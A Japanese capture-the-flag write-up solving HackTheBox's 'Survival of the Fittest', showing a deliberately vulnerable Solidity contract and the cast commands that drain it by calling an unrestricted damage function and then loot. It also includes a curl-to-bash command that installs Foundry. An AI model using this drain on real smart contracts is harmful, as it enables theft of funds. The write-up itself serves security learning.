ブロックチェーンのハッキングの入門としてHackTheBoxの「Survival of the Fittest」を解いていきましょう。
このハッキング手法を悪用できるスマートコントラクトは世の中に出回っていない(と願っています。)ですが、悪用しようとしないでください。
事前知識
Castと呼ばれる、スマートコントラクトとの通信ができるクライアントが必要になります。
以下コマンドでインストールしましょう。
curl -L https://foundry.paradigm.xyz | bash
# zshやbashの再起動後
foundryup
解いてみる
百聞は一見に如かず。解いてみます。
コードを見る
与えられたコードの中で、Setup.sol
を見てみましょう。
(solファイルのシンタックスハイライトがなかったので、C言語のシンタックスハイライトを使ってます。)
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
// Setupコントラクトを作成
contract Setup {
// 外部から読み取り可能なTARGET変数を宣言する
Creature public immutable TARGET;
constructor() payable {
// Ehterが1イーサに満たないとコントラクトのデプロイが失敗する
// 10Ehterを持つコントラクトを作成し、TARGETという変数に代入する
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
// isSolvedという名前のビュー関数を定義
// TARGETの持つEhterが0の場合に正を返す
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Creature.sol
は以下のようになっています。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
// lifePoints CreatureのHPを表す変数
// aggro Creatureの攻撃対象のアドレス
uint256 public lifePoints;
address public aggro;
// lifePointsは20ポイントにセットする
constructor() payable {
lifePoints = 20;
}
// _damageで指定されたダメージを_dealDamage関数に渡す関数(下記)
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
// _dealDamage関数(下記)を用いて1ダメージを与える関数
function punch() external {
_dealDamage(1);
}
// lifePointsが0である場合に呼び出し元コントラクトに残高を送金する関数
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
// 攻撃者のアドレスのlifePointsから_damage分を引く関数
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
推測と解法
とりあえず、クリーチャーを倒せばいいのかしら!と思いました。
WEBサイトを見てみた感じ、モンスターを倒せますか?と出てきます。
何度、攻撃ボタンをクリックしてもモンスターは倒せませんでした。
- モンスターのHP初期値は20から始まる。
- 自分たちはそれらを0にしなくてはいけない
- モンスターのHPは回復する
-
strongAttack()
関数では、自分たちが攻撃するダメージを設定できる
サイトの上にはDocs
/ Home
/ Connection
があります。
それぞれ、ドキュメントと接続先のアドレス情報が書かれています。
Docs
についてみてみましょう
APIのエンドポイントの情報が書かれていました。
-
/restart
チェーンをリスタートする -
/rpc
RPCのエンドポイント -
/flag
フラグをゲットする -
/connection_info
ノードに関する情報を取得する
次にConnection
についてみてみましょう。
ここからキーとアドレス、ターゲットのコントラクトアドレスとセットアップコントラクトのアドレスがわかりました。
ハッキング開始
最初に必要なトークンやアドレスを環境変数に入れておきましょう。
privatekey=プライベートキー
targetaddress=ターゲットアドレス
rpc=http://HTBのアドレス/rpc
自身の場合は以下のような感じでセットアップしました。
まず最初にstrongAttack()
関数モンスターの体力を20削りましょう。
cast send $targetaddress -r $rpc 'strongAttack(uint256)' 20 --private-key $privatekey
lifePoints()
関数でモンスターの体力を見てみましょう。
cast call -r $rpc $targetaddress 'lifePoints()'
きちんと0になっていますね。
最後にloot()
関数を呼んでHPを確定させましょう。
cast send $targetaddress -r $rpc 'loot()' --private-key $privatekey
これで、フラグが取り出せるはずです。
curl http://IPアドレス/flag
できました!
まとめ
ブロックチェーンの関数が誰でも呼び出せることで危険になることがわかりました。
WEB3に関連やスマートコントラクトが実社会にどんどん実装されているので、セキュアにコーディングされたものが世の中にたくさん出てくればいいなぁと思いました。
どんどん知識深めていきたいですね。
参考文献